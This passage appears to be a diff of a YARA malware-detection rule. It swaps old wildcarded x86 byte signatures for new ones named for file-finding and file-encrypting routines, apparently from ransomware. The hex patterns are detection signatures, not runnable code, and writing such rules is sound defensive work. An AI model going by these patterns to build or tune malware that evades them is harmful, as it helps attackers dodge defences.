-            ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24
+		$find_files_p1 = {
+            55 89 E5 57 56 8D 85 ?? ?? ?? ?? 53 81 EC ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 31 C0 66 89
+            85 ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 50 ?? 8B
+            00 66 83 7C 50 ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ??
+            ?? 2B 51 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 4D ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 45 ?? 8B 7D ?? 83 EC ?? 8B 00 8B 57 ?? 8D 8D ?? ?? ?? ?? 8D 14 50 C6 44
+            24 ?? ?? 89 04 24 89 8D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 83
+            EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 39 D0 0F
+            87 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 83 EC ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 7D ?? 8D
         }
-		$encrypt_file_2 = {
-            C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ??
-            33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 66 89 44
-            24 ?? 8D B4 24 ?? ?? ?? ?? 0F 43 BC 24 ?? ?? ?? ?? 8D 44 24 ?? 83 BC 24 ?? ?? ?? ??
-            ?? 50 0F 43 B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 57 56 8B 00 FF D0 85 C0 68 ?? ?? ?? ?? 0F 95 C3 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ??
-            8D 44 24 ?? 8D B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 43 B4 24 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 56 8B 00 FF D0 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A
-            ?? 50 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6
-            84 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 83 EC ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 4C
-            24 ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B 58 ?? 03 18 E8 ?? ?? ??
-            ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ??
-            ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 8B 00 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
-            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ??
-            ?? ?? ?? 66 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 84
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ??
-            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B F8 8D 4C 24 ?? 57 BE ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 4C 24 ?? 8B 41 ?? F6 84 04 ?? ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? BA ?? ?? ?? ??
-            03 C8 8B F3 33 C0 39 41 ?? 0F 44 C2 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ??
-            ?? ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 6A ?? 56 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? F3 0F 6F 00 F3 0F 7F 07 E8 ?? ?? ?? ?? F3 0F 6F
+		$find_files_p2 = {
+            9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 D9 8B 00 C6 44 24 ?? ?? 8B 57 ?? 89 B5 ?? ?? ??
+            ?? 89 04 24 8D 14 50 89 54 24 ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 1C 24
+            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 C6 0F 84 ??
+            ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74
+            ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? F6 85 ?? ??
+            ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 0F 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 5C 24 ?? 89 34 24 FF 15 ?? ?? ??
+            ?? 83 EC ?? 85 C0 75 ?? 89 34 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 9D ?? ?? ??
+            ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ?? ?? 8D 76
+            ?? 8D BC 27 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74
         }
-		$encrypt_file_3 = {
-            00 F3 0F 7F 47 ?? F3 0F 6F 40 ?? F3 0F 7F 47 ?? F3 0F 6F 40 ?? 8D 84 24 ?? ?? ?? ??
-            50 51 F3 0F 7F 47 ?? 57 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4
-            ?? 85 F6 74 ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B4 24 ??
-            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            85 C0 75 ?? 8B 44 24 ?? 8D 4C 24 ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75
-            ?? 83 C8 ?? 83 E0 ?? 89 41 ?? 85 41 ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 85 F6 74 ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B3 ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? C6 84 24 ??
-            ?? ?? ?? ?? 50 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 32 DB
-            C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ??
-            ?? 66 89 84 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF
-            B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ??
-            ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 8A C3 C7 84 24 ?? ?? ?? ??
-            ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ??
-            ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_p3 = {
+            8B 45 ?? F6 85 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 75
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 89
+            C3 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ??
+            ?? EB ?? 89 C3 8B 85 ?? ?? ?? ?? 39 F0 75 ?? EB ?? EB ?? EB ?? 89 C3 EB ?? C7 04 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+        }
+		$encrypt_files_p1 = {
+            55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 00 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83
+            F8 ?? 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ??
+            89 34 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ??
+            89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 34 24 05 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 89 44 24 ?? 83 D2 ?? A1 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85
+            ?? ?? ?? ?? FF D0 31 C0 83 EC ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AB 7C ?? 0F
+            8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 74 24 ?? 89 04 24 FF 15 ?? ?? ?? ??
+            83 EC ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F
+            85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 35 ?? ?? ?? ?? 0B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
+            80 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ??
+            ?? ?? 89 D9 89 04 24 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ??
+            ?? ?? 83 EC ?? 8B B5 ?? ?? ?? ?? 89 D9 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 1E 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D
+        }
+		$encrypt_files_p2 = {
+            85 ?? ?? ?? ?? 89 04 24 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 8B
+            85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24
+            ?? 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 04 24 89 54
+            24 ?? 8B 0E 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ??
+            ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8B 85
+            ?? ?? ?? ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? C7 04 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89
+            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
+            1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F AC D0 ?? C1 EA ?? 89 D3 09
+            C3 0F 84 ?? ?? ?? ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 D2 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            90 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C
+        }
+		$encrypt_files_p3 = {
+            24 ?? 89 0C 24 8B 0A E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B
+            9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 89 54 24 ?? 89 1C 24
+            FF 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 81 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 5C
+            24 ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83
+            EC ?? 81 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 D9 83 95 ?? ?? ?? ?? ?? 8B 02 89 04 24 E8 ??
+            ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
+            ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 0B 89 85 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0B E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 83 EC ?? 89 04 24 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B
+            85 ?? ?? ?? ?? 89 44 24 ?? 8B 0B E8 ?? ?? ?? ?? 8B 0B 83 EC ?? E8 ?? ?? ?? ?? 8B 9D
+            ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 1C 24 FF 15 ?? ?? ?? ?? 8B
+        }
+		$encrypt_files_p4 = {
+            85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 1C
+            24 89 44 24 ?? 89 54 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 83 85 ?? ?? ?? ?? ?? 8B 9D ??
+            ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            31 CB 31 D0 89 DA 09 C2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ??
+            89 C3 89 44 24 ?? 89 0C 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 8B 08 E8 ?? ??
+            ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 7C 24 ?? 8B BD ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 8B
+            95 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 5C 24 ?? 8B 1D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? 89 74 24 ?? 89 54 24 ?? 89 3C 24 89 9D ?? ?? ?? ?? FF D3 8B 95 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 EC ?? B9 ?? ?? ?? ?? C7 85
+        }
+		$encrypt_files_p5 = {
+            89 DF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F AC D0 ?? C1 EA
+            ?? 01 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 11 95 ?? ?? ?? ?? 31 C0 C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 89 7C 24 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31 C0 F3 AB 8B BD ?? ?? ?? ?? 89 74
+            24 ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ??
+            89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83
+            EC ?? 8B 18 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
+            ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? 8D BD ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8B B5
+            ?? ?? ?? ?? 31 D2 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F3 AB 8B BD ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 89 F9 C1 F9 ?? 83 E1 ?? 89 C8 01 F0 11 FA 0F AC D0 ?? C1 FA ?? 83
+        }
+		$encrypt_files_p6 = {
+            C0 ?? 83 D2 ?? 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 FA 09 F2
+            89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 F7 C6 00 ?? 83 C0 ?? 39 C2 75 ?? 89 BD
+            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 D9 89 04
+            24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 18 A1 ?? ?? ?? ?? 89 44 24 ?? 8D 85
+            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 89
+            44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 83 C0
+            ?? 83 EC ?? 8B 56 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 7D ?? 29 C2 8D B5 ?? ?? ?? ?? 8D 9D
+            ?? ?? ?? ?? 8B 0F C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? 8D 0C 41 8D 04 51 89 0C 24 89 F1
+            89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 34 24 8D 48 ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ??
+            8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 47 ?? 89 34 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0F C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 90 89 34 24 8B
+            0F 83 C6 ?? E8 ?? ?? ?? ?? 83 EC ?? 39 DE 75 ?? 8B BD ?? ?? ?? ?? 8B B5
+        }
+		$encrypt_files_p7 = {
+            8B 0F E8 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
+            04 24 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ??
+            8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 0F 89 95 ?? ?? ?? ?? 89 95
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0F E8 ?? ?? ?? ?? 8B 0F 83 EC ?? E8 ??
+            ?? ?? ?? 8B 0F 89 F7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 89 34 24 8D B5 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83
+            EC ?? 89 3C 24 C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24
+            ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 85 FF 0F 85 ?? ??
+            ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D
+            ?? ?? ?? ?? 0F 97 C0 0F B6 C0 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ??
+            ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8D 65
+            ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15
+        }
+		$encrypt_files_p8 = {
+            83 EC ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
